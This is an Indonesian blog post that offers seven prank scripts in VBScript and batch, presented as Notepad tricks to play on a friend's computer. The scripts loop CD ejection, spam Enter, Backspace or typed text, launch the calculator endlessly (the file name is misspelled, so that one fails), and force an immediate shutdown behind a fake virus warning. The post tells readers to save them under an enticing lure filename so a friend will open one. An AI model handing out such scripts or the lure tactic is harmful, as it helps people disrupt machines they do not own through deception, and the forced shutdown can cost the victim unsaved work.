TRIK NOTEPAD BUAT JAILIN KOMPUTER TEMEN
Mudah sekali...langsung saja
buka Notepad kemudian copas code dibawah dan simpan.....selesai.......
(No. 1 sampai 7 di simpan / save menggunakan .VBS )
(misalnya pake nama yang bikin penasaran, misalnya: Cewe_Cantik.VBS) dan save as type-nya pake all files, setelah itu berikan ke temen yang mau kita isengin....!
Nah nti temen pasti penasaran dan buka notepad itu, Jreng.....jreng... komputer langsung mengikuti perintah sesuai judul di atas!
|
yo ah check it dot
Quote:
1. Meng-eject Drive CD-Room Terus-Menerus
Code:
Set oWMP =
CreateObject(“WMPlayer.OCX.7″)
Set colCDROMs =
oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop
|
Quote:
2. Tombol Enter Terus-terusan Aktif
Code:
Set wshShell =
wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “~(enter)”
loop
|
Quote:
3. Iseng Dengan Pesan Lambat Notepad “Hello, how are you?
I am good thanks!
Code:
WScript.Sleep 180000
WScript.Sleep 10000
Set WshShell =
WScript.CreateObject(“WScript.Shell”)
WshShell.Run “notepad”
WScript.Sleep 100
WshShell.AppActivate “Notepad”
WScript.Sleep 500
WshShell.SendKeys “Hel”
WScript.Sleep 500
WshShell.SendKeys “lo ”
WScript.Sleep 500
WshShell.SendKeys “, ho”
WScript.Sleep 500
WshShell.SendKeys “w a”
WScript.Sleep 500
WshShell.SendKeys “re ”
WScript.Sleep 500
WshShell.SendKeys “you”
WScript.Sleep 500
WshShell.SendKeys “? ”
WScript.Sleep 500
WshShell.SendKeys “I a”
WScript.Sleep 500
WshShell.SendKeys “m g”
WScript.Sleep 500
WshShell.SendKeys “ood”
WScript.Sleep 500
WshShell.SendKeys ” th”
WScript.Sleep 500
WshShell.SendKeys “ank”
WScript.Sleep 500
WshShell.SendKeys “s! “
|
4. Iseng Dengan Backspace (Jika menekan tombol Bacspace
akan keluar tulisan "Maaf anda harus mengulang kembali" atau bisa
dibuat semau kita.)
Code:
MsgBox “Maaf, Anda Harus Mengulang
Kembali”
Set wshShell
=wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “{bs}”
loop
|
5. Iseng Dengan Membuka Calculator Terus Menerus
Code:
@ECHO off
:top
START
%SystemRoot%\system32\cacl.exe
GOTO top
|
6. Iseng dengan Keyboard (tampil tulisan yang kita
inginkan) nah ini yg paling kocak gan
Code:
Set wshShell =
wscript.CreateObject(“WScript.Shell”)
do
wscript.sleep 100
wshshell.sendkeys “Maaf, Keyboard
Tidak Berfungsi! Harap Diperbaiki”
loop
|
7. Iseng Dengan Shutdown Komputer
Code:
@echo off
msg * Komputer Anda Terinfeksi
Virus
shutdown -c “Error! Virus Menyebar
Keseluruh System!” -s -t 0
|
hati2 gan, klo keseringan bisa wafat tu kompie ..
0 comments:
Post a Comment